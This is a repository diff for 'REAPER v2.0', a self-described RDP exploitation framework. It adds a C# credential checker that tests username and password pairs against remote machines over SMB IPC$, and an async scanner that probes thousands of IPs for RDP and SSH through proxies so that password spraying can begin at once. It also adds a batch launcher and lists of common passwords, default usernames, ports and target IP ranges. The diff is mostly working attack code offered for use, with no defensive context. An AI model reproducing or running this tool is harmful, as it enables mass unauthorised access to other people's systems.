using System.Text;
|
||||||
|
|
||||||
|
namespace RDPThread
|
||||||
|
{
|
||||||
|
class Program
|
||||||
|
{
|
||||||
|
// ── Win32 P/Invoke ──────────────────────────────────────
|
||||||
|
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||||
|
private static extern int WNetAddConnection2(
|
||||||
|
ref NETRESOURCE netResource,
|
||||||
|
string password,
|
||||||
|
string username,
|
||||||
|
int flags
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||||
|
private static extern int WNetCancelConnection2(
|
||||||
|
string name,
|
||||||
|
int flags,
|
||||||
|
bool force
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||||
|
private static extern IntPtr socket(int af, int type, int protocol);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||||
|
private static extern int connect(IntPtr s, byte[] addr, int addrlen);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||||
|
private static extern int closesocket(IntPtr s);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll")]
|
||||||
|
private static extern int WSAStartup(ushort version, ref WSADATA data);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll")]
|
||||||
|
private static extern int WSACleanup();
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||||
|
private struct NETRESOURCE
|
||||||
|
{
|
||||||
|
public int dwScope;
|
||||||
|
public int dwType;
|
||||||
|
public int dwDisplayType;
|
||||||
|
public int dwUsage;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpLocalName;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpRemoteName;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpComment;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpProvider;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct WSADATA
|
||||||
|
{
|
||||||
|
public ushort wVersion;
|
||||||
|
public ushort wHighVersion;
|
||||||
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
|
||||||
|
public string szDescription;
|
||||||
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
|
||||||
|
public string szSystemStatus;
|
||||||
|
public ushort iMaxSockets;
|
||||||
|
public ushort iMaxUdpDg;
|
||||||
|
public IntPtr lpVendorInfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct sockaddr_in
|
||||||
|
{
|
||||||
|
public short sin_family;
|
||||||
|
public ushort sin_port;
|
||||||
|
public uint sin_addr;
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||||
|
public byte[] sin_zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
private const int RESOURCETYPE_ANY = 0;
|
||||||
|
private const int CONNECT_TEMPORARY = 4;
|
||||||
|
private const int NO_ERROR = 0;
|
||||||
|
private const int AF_INET = 2;
|
||||||
|
private const int SOCK_STREAM = 1;
|
||||||
|
private const int IPPROTO_TCP = 6;
|
||||||
|
|
||||||
|
private const int ERROR_LOGON_FAILURE = 1326;
|
||||||
|
private const int ERROR_ACCESS_DENIED = 5;
|
||||||
|
private const int ERROR_BAD_NETPATH = 53;
|
||||||
|
private const int ERROR_NETWORK_UNREACHABLE = 1231;
|
||||||
|
private const int ERROR_INVALID_PASSWORD = 86;
|
||||||
|
private const int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219;
|
||||||
|
|
||||||
|
// ── TCP connect check ──────────────────────────────────
|
||||||
|
private static bool TcpConnect(string ip, int port, int timeoutMs = 3000)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
WSADATA wsa = new WSADATA();
|
||||||
|
if (WSAStartup(0x202, ref wsa) != 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
IntPtr s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (s == (IntPtr)(-1))
|
||||||
|
{
|
||||||
|
WSACleanup();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set non-blocking for timeout
|
||||||
|
var addr = new sockaddr_in
|
||||||
|
{
|
||||||
|
sin_family = AF_INET,
|
||||||
|
sin_port = (ushort)System.Net.IPAddress.HostToNetworkOrder((short)port),
|
||||||
|
sin_addr = BitConverter.ToUInt32(
|
||||||
|
System.Net.IPAddress.Parse(ip).GetAddressBytes(), 0),
|
||||||
|
sin_zero = new byte[8]
|
||||||
|
};
|
||||||
|
|
||||||
|
byte[] addrBytes = new byte[16];
|
||||||
|
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_family), 0, addrBytes, 0, 2);
|
||||||
|
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_port), 0, addrBytes, 2, 2);
|
||||||
|
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_addr), 0, addrBytes, 4, 4);
|
||||||
|
|
||||||
|
int result = connect(s, addrBytes, 16);
|
||||||
|
closesocket(s);
|
||||||
|
WSACleanup();
|
||||||
|
|
||||||
|
return result == 0;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Credential validation via IPC$ ────────────────────
|
||||||
|
private static bool ValidateCredentials(string ip, string username, string password)
|
||||||
|
{
|
||||||
|
string remotePath = string.Format("\\\\{0}\\IPC$", ip);
|
||||||
|
|
||||||
|
NETRESOURCE nr = new NETRESOURCE
|
||||||
|
{
|
||||||
|
dwScope = 0,
|
||||||
|
dwType = RESOURCETYPE_ANY,
|
||||||
|
dwDisplayType = 0,
|
||||||
|
dwUsage = 0,
|
||||||
|
lpLocalName = null,
|
||||||
|
lpRemoteName = remotePath,
|
||||||
|
lpComment = null,
|
||||||
|
lpProvider = null
|
||||||
|
};
|
||||||
|
|
||||||
|
int result = WNetAddConnection2(ref nr, password, username, CONNECT_TEMPORARY);
|
||||||
|
|
||||||
|
if (result == NO_ERROR)
|
||||||
|
{
|
||||||
|
// Success! Clean up the connection
|
||||||
|
WNetCancelConnection2(remotePath, CONNECT_TEMPORARY, true);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Main ──────────────────────────────────────────────
|
||||||
|
static int Main(string[] args)
|
||||||
|
{
|
||||||
|
if (args.Length < 4)
|
||||||
|
{
|
||||||
|
Console.Error.WriteLine("Usage: rdpthread.exe <ip> <port> <username> <password>");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
string ip = args[0];
|
||||||
|
int port = int.Parse(args[1]);
|
||||||
|
string username = args[2];
|
||||||
|
string password = args[3];
|
||||||
|
|
||||||
|
// Step 1: Quick TCP connectivity check
|
||||||
|
if (!TcpConnect(ip, port))
|
||||||
|
{
|
||||||
|
// Port not reachable - try IPC$ anyway (SMB uses port 445)
|
||||||
|
// The WNetAddConnection2 will fail gracefully if unreachable
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 2: Validate credentials via IPC$ (SMB)
|
||||||
|
// This uses Windows built-in authentication against the remote machine
|
||||||
|
bool success = ValidateCredentials(ip, username, password);
|
||||||
|
|
||||||
|
if (success)
|
||||||
|
{
|
||||||
|
Console.WriteLine("success");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
9
requirements.txt
Normal file
9
requirements.txt
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
# REAPER v2.0 - RDP Exploitation Framework
|
||||||
|
#
|
||||||
|
# Core runs on Python stdlib (asyncio, tkinter, socket).
|
||||||
|
# These are only needed for the proxy module:
|
||||||
|
aiohttp>=3.9.0
|
||||||
|
aiohttp-socks>=0.11.0
|
||||||
|
|
||||||
|
# SSH credential testing via paramiko:
|
||||||
|
paramiko>=3.0.0
|
||||||
1
results/good.txt
Normal file
1
results/good.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
|
||||||
23
run.bat
Normal file
23
run.bat
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
@echo off
|
||||||
|
title REAPER v2.0 - RDP Exploitation Framework
|
||||||
|
cd /d "%~dp0"
|
||||||
|
|
||||||
|
:: Force UTF-8 encoding for Unicode box-drawing characters in banner
|
||||||
|
set PYTHONIOENCODING=utf-8
|
||||||
|
color 0C
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ╔═══════════════════════════════════════════════════╗
|
||||||
|
echo ║ ☠ REAPER v2.0 ☠ ║
|
||||||
|
echo ║ Remote Exploitation ^& Password Enumeration ║
|
||||||
|
echo ║ Launching the Reaper... ║
|
||||||
|
echo ╚═══════════════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
python main.py
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo.
|
||||||
|
echo [!] Python not found or error occurred.
|
||||||
|
echo [!] Make sure Python 3.8+ is installed and in PATH.
|
||||||
|
echo [!] Download: https://python.org/downloads
|
||||||
|
pause
|
||||||
|
)
|
||||||
212
scanner.py
Normal file
212
scanner.py
Normal file
@@ -0,0 +1,212 @@
|
|||||||
|
"""
|
||||||
|
FastRDP-NG: Blazing-fast async RDP scanner.
|
||||||
|
Connects to thousands of IPs concurrently to find live RDP hosts.
|
||||||
|
Supports optional proxy routing via ProxyManager.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from typing import Set, Tuple, List, Optional
|
||||||
|
|
||||||
|
logger = logging.getLogger("FastRDP-NG")
|
||||||
|
|
||||||
|
# RDP ports to scan
|
||||||
|
RDP_PORTS = [3389, 3390, 3391]
|
||||||
|
|
||||||
|
# SSH port
|
||||||
|
SSH_PORT = 22
|
||||||
|
|
||||||
|
# First 3 bytes of an RDP Negotiation Response (T.125)
|
||||||
|
# Actual RDP servers respond with 0x03 (TPKT version 3)
|
||||||
|
RDP_BANNER_SIG = b'\x03\x00'
|
||||||
|
|
||||||
|
# SSH banner prefix
|
||||||
|
SSH_BANNER_SIG = b'SSH-'
|
||||||
|
|
||||||
|
|
||||||
|
async def check_rdp_port(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
timeout: float = 2.0,
|
||||||
|
proxy_manager=None
|
||||||
|
) -> Tuple[str, int, bool]:
|
||||||
|
"""
|
||||||
|
Rapid async TCP connect check.
|
||||||
|
Supports optional proxy routing.
|
||||||
|
|
||||||
|
Returns (ip, port, is_open).
|
||||||
|
No banner reading - pure connection speed.
|
||||||
|
"""
|
||||||
|
open_conn = asyncio.open_connection
|
||||||
|
if proxy_manager and proxy_manager.enabled:
|
||||||
|
open_conn = proxy_manager.open_connection
|
||||||
|
|
||||||
|
try:
|
||||||
|
_, writer = await asyncio.wait_for(
|
||||||
|
open_conn(ip, port),
|
||||||
|
timeout=timeout
|
||||||
|
)
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
return (ip, port, True)
|
||||||
|
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||||
|
OSError, ConnectionError):
|
||||||
|
return (ip, port, False)
|
||||||
|
|
||||||
|
|
||||||
|
async def check_rdp_with_banner(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
connect_timeout: float = 2.0,
|
||||||
|
banner_timeout: float = 1.0,
|
||||||
|
proxy_manager=None
|
||||||
|
) -> Tuple[str, int, bool]:
|
||||||
|
"""
|
||||||
|
Connect + read initial bytes to confirm it's actually RDP.
|
||||||
|
Supports optional proxy routing.
|
||||||
|
Slower but more accurate - catches non-RDP services on 3389.
|
||||||
|
"""
|
||||||
|
open_conn = asyncio.open_connection
|
||||||
|
if proxy_manager and proxy_manager.enabled:
|
||||||
|
open_conn = proxy_manager.open_connection
|
||||||
|
|
||||||
|
try:
|
||||||
|
reader, writer = await asyncio.wait_for(
|
||||||
|
open_conn(ip, port),
|
||||||
|
timeout=connect_timeout
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
data = await asyncio.wait_for(
|
||||||
|
reader.read(4),
|
||||||
|
timeout=banner_timeout
|
||||||
|
)
|
||||||
|
is_rdp = data[:2] == RDP_BANNER_SIG # TPKT header
|
||||||
|
return (ip, port, is_rdp)
|
||||||
|
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||||
|
# Connected but no banner = port open but not RDP
|
||||||
|
return (ip, port, False)
|
||||||
|
finally:
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||||
|
OSError, ConnectionError):
|
||||||
|
return (ip, port, False)
|
||||||
|
|
||||||
|
|
||||||
|
async def check_ssh_banner(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
connect_timeout: float = 2.0,
|
||||||
|
banner_timeout: float = 1.0,
|
||||||
|
proxy_manager=None
|
||||||
|
) -> Tuple[str, int, bool]:
|
||||||
|
"""
|
||||||
|
Connect + read SSH banner to confirm it's SSH.
|
||||||
|
SSH banners look like: SSH-2.0-OpenSSH_8.9p1 ...
|
||||||
|
"""
|
||||||
|
open_conn = asyncio.open_connection
|
||||||
|
if proxy_manager and proxy_manager.enabled:
|
||||||
|
open_conn = proxy_manager.open_connection
|
||||||
|
|
||||||
|
try:
|
||||||
|
reader, writer = await asyncio.wait_for(
|
||||||
|
open_conn(ip, port),
|
||||||
|
timeout=connect_timeout
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
data = await asyncio.wait_for(
|
||||||
|
reader.read(8),
|
||||||
|
timeout=banner_timeout
|
||||||
|
)
|
||||||
|
is_ssh = data.startswith(SSH_BANNER_SIG)
|
||||||
|
return (ip, port, is_ssh)
|
||||||
|
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||||
|
return (ip, port, False)
|
||||||
|
finally:
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||||
|
OSError, ConnectionError):
|
||||||
|
return (ip, port, False)
|
||||||
|
|
||||||
|
|
||||||
|
async def scan_ips(
|
||||||
|
ips: List[str],
|
||||||
|
ports: List[int] = None, # type: ignore
|
||||||
|
max_concurrent: int = 5000,
|
||||||
|
connect_timeout: float = 2.0,
|
||||||
|
banner_check: bool = False,
|
||||||
|
progress_callback=None,
|
||||||
|
live_callback=None,
|
||||||
|
proxy_manager=None
|
||||||
|
) -> Set[Tuple[str, int]]:
|
||||||
|
"""
|
||||||
|
Scan a list of IPs across given ports as fast as possible.
|
||||||
|
Uses asyncio semaphore to control concurrency.
|
||||||
|
|
||||||
|
- progress_callback(checked, total, live_count, rate): called periodically
|
||||||
|
- live_callback(ip, port): called IMMEDIATELY when a live host is found
|
||||||
|
- proxy_manager: optional ProxyManager for routing through proxies
|
||||||
|
|
||||||
|
Returns set of (ip, port) tuples for live RDP hosts.
|
||||||
|
"""
|
||||||
|
if ports is None:
|
||||||
|
ports = RDP_PORTS
|
||||||
|
|
||||||
|
sem = asyncio.Semaphore(max_concurrent)
|
||||||
|
live_hosts: Set[Tuple[str, int]] = set()
|
||||||
|
checked = 0
|
||||||
|
total = len(ips) * len(ports)
|
||||||
|
start_time = time.time()
|
||||||
|
|
||||||
|
checker = check_rdp_with_banner if banner_check else check_rdp_port
|
||||||
|
|
||||||
|
if progress_callback and total > 0:
|
||||||
|
if total <= 1000:
|
||||||
|
progress_every = max(1, total // 50 or 1)
|
||||||
|
elif total <= 10000:
|
||||||
|
progress_every = 100
|
||||||
|
else:
|
||||||
|
progress_every = 1000
|
||||||
|
else:
|
||||||
|
progress_every = 0
|
||||||
|
|
||||||
|
async def check_one(ip: str, port: int):
|
||||||
|
nonlocal checked
|
||||||
|
async with sem:
|
||||||
|
_, p, alive = await checker(ip, port, connect_timeout,
|
||||||
|
proxy_manager=proxy_manager)
|
||||||
|
if alive:
|
||||||
|
live_hosts.add((ip, p))
|
||||||
|
# Notify immediately — spray can start right away
|
||||||
|
if live_callback:
|
||||||
|
live_callback(ip, p)
|
||||||
|
checked += 1
|
||||||
|
if progress_callback and progress_every:
|
||||||
|
if checked == total or checked % progress_every == 0:
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = checked / elapsed if elapsed > 0 else 0
|
||||||
|
progress_callback(checked, total, len(live_hosts), rate)
|
||||||
|
|
||||||
|
# Fire all tasks concurrently
|
||||||
|
tasks = []
|
||||||
|
for ip in ips:
|
||||||
|
for port in ports:
|
||||||
|
tasks.append(asyncio.create_task(check_one(ip, port)))
|
||||||
|
|
||||||
|
# Run in batches to avoid memory issues with massive task lists
|
||||||
|
batch_size = 50000
|
||||||
|
for i in range(0, len(tasks), batch_size):
|
||||||
|
batch = tasks[i:i + batch_size]
|
||||||
|
if batch:
|
||||||
|
await asyncio.gather(*batch, return_exceptions=True)
|
||||||
|
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = checked / elapsed if elapsed > 0 else 0
|
||||||
|
logger.info(
|
||||||
|
f"Scan complete: {len(live_hosts)} live hosts from {checked} checks "
|
||||||
|
f"in {elapsed:.1f}s ({rate:.0f} checks/sec)"
|
||||||
|
)
|
||||||
|
|
||||||
|
return live_hosts
|
||||||
415
wordlists/passwords.txt
Normal file
415
wordlists/passwords.txt
Normal file
@@ -0,0 +1,415 @@
|
|||||||
|
admin
|
||||||
|
Admin
|
||||||
|
password
|
||||||
|
Password
|
||||||
|
administrator
|
||||||
|
Administrator
|
||||||
|
p@ssw0rd
|
||||||
|
P@ssw0rd
|
||||||
|
passwor1
|
||||||
|
password
|
||||||
|
password!
|
||||||
|
password.
|
||||||
|
password00
|
||||||
|
password01
|
||||||
|
Password01!
|
||||||
|
password1
|
||||||
|
password101
|
||||||
|
password11
|
||||||
|
password12
|
||||||
|
PASSWORD123
|
||||||
|
password1234
|
||||||
|
password12345
|
||||||
|
password12345678
|
||||||
|
password123456789
|
||||||
|
password13
|
||||||
|
password2
|
||||||
|
password3
|
||||||
|
password5
|
||||||
|
password7
|
||||||
|
password77
|
||||||
|
password888
|
||||||
|
password9
|
||||||
|
password99
|
||||||
|
passwords
|
||||||
|
passwort
|
||||||
|
passwort123
|
||||||
|
911
|
||||||
|
qwerty
|
||||||
|
qweqwe
|
||||||
|
qweasd
|
||||||
|
qwezxc
|
||||||
|
qweasdzxc
|
||||||
|
qwertyuiop
|
||||||
|
asdfghjkl
|
||||||
|
zxcvbnm
|
||||||
|
1
|
||||||
|
12
|
||||||
|
123
|
||||||
|
1234
|
||||||
|
12345
|
||||||
|
123456
|
||||||
|
1234567
|
||||||
|
12345678
|
||||||
|
123456789
|
||||||
|
1234567890
|
||||||
|
0
|
||||||
|
01
|
||||||
|
012
|
||||||
|
0123
|
||||||
|
01234
|
||||||
|
012345
|
||||||
|
0123456
|
||||||
|
01234567
|
||||||
|
012345678
|
||||||
|
0123456789
|
||||||
|
9
|
||||||
|
98
|
||||||
|
987
|
||||||
|
9876
|
||||||
|
98765
|
||||||
|
987654
|
||||||
|
9876543
|
||||||
|
98765432
|
||||||
|
987654321
|
||||||
|
9876543210
|
||||||
|
10
|
||||||
|
210
|
||||||
|
3210
|
||||||
|
43210
|
||||||
|
543210
|
||||||
|
6543210
|
||||||
|
76543210
|
||||||
|
876543210
|
||||||
|
21
|
||||||
|
321
|
||||||
|
4321
|
||||||
|
54321
|
||||||
|
654321
|
||||||
|
7654321
|
||||||
|
87654321
|
||||||
|
987654321
|
||||||
|
00
|
||||||
|
000
|
||||||
|
0000
|
||||||
|
00000
|
||||||
|
000000
|
||||||
|
0000000
|
||||||
|
00000000
|
||||||
|
000000000
|
||||||
|
11
|
||||||
|
111
|
||||||
|
1111
|
||||||
|
11111
|
||||||
|
111111
|
||||||
|
1111111
|
||||||
|
11111111
|
||||||
|
111111111
|
||||||
|
2
|
||||||
|
22
|
||||||
|
222
|
||||||
|
2222
|
||||||
|
22222
|
||||||
|
222222
|
||||||
|
2222222
|
||||||
|
22222222
|
||||||
|
222222222
|
||||||
|
3
|
||||||
|
33
|
||||||
|
333
|
||||||
|
3333
|
||||||
|
33333
|
||||||
|
333333
|
||||||
|
3333333
|
||||||
|
33333333
|
||||||
|
333333333
|
||||||
|
4
|
||||||
|
44
|
||||||
|
444
|
||||||
|
4444
|
||||||
|
44444
|
||||||
|
444444
|
||||||
|
4444444
|
||||||
|
44444444
|
||||||
|
444444444
|
||||||
|
5
|
||||||
|
55
|
||||||
|
555
|
||||||
|
5555
|
||||||
|
55555
|
||||||
|
555555
|
||||||
|
5555555
|
||||||
|
55555555
|
||||||
|
555555555
|
||||||
|
6
|
||||||
|
66
|
||||||
|
666
|
||||||
|
6666
|
||||||
|
66666
|
||||||
|
666666
|
||||||
|
6666666
|
||||||
|
66666666
|
||||||
|
666666666
|
||||||
|
7
|
||||||
|
77
|
||||||
|
777
|
||||||
|
7777
|
||||||
|
77777
|
||||||
|
777777
|
||||||
|
7777777
|
||||||
|
77777777
|
||||||
|
777777777
|
||||||
|
8
|
||||||
|
88
|
||||||
|
888
|
||||||
|
8888
|
||||||
|
88888
|
||||||
|
888888
|
||||||
|
8888888
|
||||||
|
88888888
|
||||||
|
888888888
|
||||||
|
99
|
||||||
|
999
|
||||||
|
9999
|
||||||
|
99999
|
||||||
|
999999
|
||||||
|
9999999
|
||||||
|
99999999
|
||||||
|
999999999
|
||||||
|
P@ssw0rd
|
||||||
|
p@ss
|
||||||
|
p@ssw0rd
|
||||||
|
P@ss
|
||||||
|
P@$$w0rd
|
||||||
|
Passw0rd
|
||||||
|
passport
|
||||||
|
passw0rd
|
||||||
|
passw0rd1
|
||||||
|
passwd
|
||||||
|
passwor1
|
||||||
|
password
|
||||||
|
password!
|
||||||
|
password.
|
||||||
|
password00
|
||||||
|
password01
|
||||||
|
Password01!
|
||||||
|
password1
|
||||||
|
password101
|
||||||
|
password11
|
||||||
|
password12
|
||||||
|
PASSWORD123
|
||||||
|
password1234
|
||||||
|
password12345
|
||||||
|
password12345678
|
||||||
|
password123456789
|
||||||
|
password13
|
||||||
|
password2
|
||||||
|
password3
|
||||||
|
password5
|
||||||
|
password7
|
||||||
|
password77
|
||||||
|
password888
|
||||||
|
password9
|
||||||
|
password99
|
||||||
|
passwords
|
||||||
|
passwort
|
||||||
|
passwort123
|
||||||
|
admin1
|
||||||
|
admin12
|
||||||
|
admin123
|
||||||
|
admin123123
|
||||||
|
admin1234
|
||||||
|
administrador
|
||||||
|
administrator
|
||||||
|
Administrator1
|
||||||
|
Administrator12
|
||||||
|
Administrator123
|
||||||
|
Administrator1234
|
||||||
|
1
|
||||||
|
12
|
||||||
|
123
|
||||||
|
1234
|
||||||
|
4321
|
||||||
|
12345
|
||||||
|
54321
|
||||||
|
123123
|
||||||
|
123456
|
||||||
|
1234567
|
||||||
|
12341234
|
||||||
|
12345678
|
||||||
|
123456789
|
||||||
|
1234567890
|
||||||
|
123456789a
|
||||||
|
12345678a
|
||||||
|
1234567a
|
||||||
|
123456a
|
||||||
|
12345a
|
||||||
|
123abc
|
||||||
|
123asd
|
||||||
|
123qwerty
|
||||||
|
1q2w3e
|
||||||
|
1q2w3e4r
|
||||||
|
1q2w3e4r5
|
||||||
|
1q2w3e4r5t6y
|
||||||
|
1qaz2wsx
|
||||||
|
1qaz2wsx3edc
|
||||||
|
a12345
|
||||||
|
a123456
|
||||||
|
a1234567
|
||||||
|
a12345678
|
||||||
|
a123456789
|
||||||
|
a1b2c3
|
||||||
|
abc123
|
||||||
|
abcd
|
||||||
|
abcd123
|
||||||
|
abcde
|
||||||
|
abcde1
|
||||||
|
abcdef
|
||||||
|
access
|
||||||
|
alpha
|
||||||
|
alpha1
|
||||||
|
andrew
|
||||||
|
apple
|
||||||
|
asd123
|
||||||
|
asdfghjkl
|
||||||
|
ash123
|
||||||
|
asshole
|
||||||
|
auxiliar
|
||||||
|
avlmf
|
||||||
|
baseball
|
||||||
|
baseball1
|
||||||
|
batman1
|
||||||
|
bear
|
||||||
|
buster
|
||||||
|
byteme
|
||||||
|
c220
|
||||||
|
caixa
|
||||||
|
canada
|
||||||
|
canon
|
||||||
|
carmen
|
||||||
|
charly
|
||||||
|
chelsea
|
||||||
|
chicago
|
||||||
|
christian
|
||||||
|
compras
|
||||||
|
computer
|
||||||
|
Daniel
|
||||||
|
deadhead
|
||||||
|
default
|
||||||
|
disney
|
||||||
|
donald
|
||||||
|
drag0n
|
||||||
|
dragon
|
||||||
|
dreams
|
||||||
|
eagle
|
||||||
|
family
|
||||||
|
fax
|
||||||
|
financeiro
|
||||||
|
football1
|
||||||
|
go
|
||||||
|
goat
|
||||||
|
harley
|
||||||
|
hello
|
||||||
|
hockey
|
||||||
|
home
|
||||||
|
house
|
||||||
|
hunter
|
||||||
|
internet
|
||||||
|
jordan
|
||||||
|
jose
|
||||||
|
jupiter
|
||||||
|
killer
|
||||||
|
leagueoflegends1
|
||||||
|
letmein
|
||||||
|
londra
|
||||||
|
maddog
|
||||||
|
maggie
|
||||||
|
magic
|
||||||
|
manager
|
||||||
|
master
|
||||||
|
master1
|
||||||
|
matrix
|
||||||
|
me
|
||||||
|
michael
|
||||||
|
michelle
|
||||||
|
mickey
|
||||||
|
mike
|
||||||
|
mindy
|
||||||
|
money
|
||||||
|
monitor
|
||||||
|
mountain
|
||||||
|
mustang
|
||||||
|
nb
|
||||||
|
newpass
|
||||||
|
newyork
|
||||||
|
nothing
|
||||||
|
P@ssw0rd
|
||||||
|
p0kem0n
|
||||||
|
paris
|
||||||
|
pass
|
||||||
|
passpass
|
||||||
|
pat
|
||||||
|
patrick
|
||||||
|
pentium
|
||||||
|
pepper
|
||||||
|
phoenix
|
||||||
|
please
|
||||||
|
pokem0n
|
||||||
|
pokemon1
|
||||||
|
pokemon2
|
||||||
|
power
|
||||||
|
printer
|
||||||
|
prueba
|
||||||
|
q1w2e3r4
|
||||||
|
qwe123
|
||||||
|
qwerty
|
||||||
|
qwertyuiop
|
||||||
|
ranger
|
||||||
|
reality
|
||||||
|
reception
|
||||||
|
remote
|
||||||
|
remoto
|
||||||
|
robotech
|
||||||
|
rocky
|
||||||
|
sander
|
||||||
|
scanner
|
||||||
|
scans
|
||||||
|
scanuser
|
||||||
|
secret
|
||||||
|
security
|
||||||
|
server
|
||||||
|
service
|
||||||
|
servidor
|
||||||
|
shadow
|
||||||
|
shithead
|
||||||
|
singer
|
||||||
|
sistema
|
||||||
|
snoopy
|
||||||
|
spam
|
||||||
|
spiderman1
|
||||||
|
stupid
|
||||||
|
summer
|
||||||
|
superman1
|
||||||
|
support
|
||||||
|
system
|
||||||
|
tech
|
||||||
|
temp
|
||||||
|
tennis
|
||||||
|
test
|
||||||
|
test123
|
||||||
|
teste
|
||||||
|
tigger
|
||||||
|
topgun
|
||||||
|
trustno1
|
||||||
|
user
|
||||||
|
usuario
|
||||||
|
usuario1
|
||||||
|
usuario2
|
||||||
|
welcome
|
||||||
|
xsw21qaz
|
||||||
|
xsw2zaq1
|
||||||
|
xxx
|
||||||
|
ytrewq
|
||||||
|
zaq12wsx
|
||||||
|
zxasqw12
|
||||||
|
zxcvbnm
|
||||||
3
wordlists/ports.txt
Normal file
3
wordlists/ports.txt
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
3389
|
||||||
|
3390
|
||||||
|
3391
|
||||||
28802
wordlists/ranges.txt
Normal file
28802
wordlists/ranges.txt
Normal file
File diff suppressed because it is too large
Load Diff
5
wordlists/users.txt
Normal file
5
wordlists/users.txt
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
Administrator
|
||||||
|
Admin
|
||||||
|
User
|
||||||
|
User1
|
||||||
|
GhostUser
|
||||||
Reference in New Issue
Block a user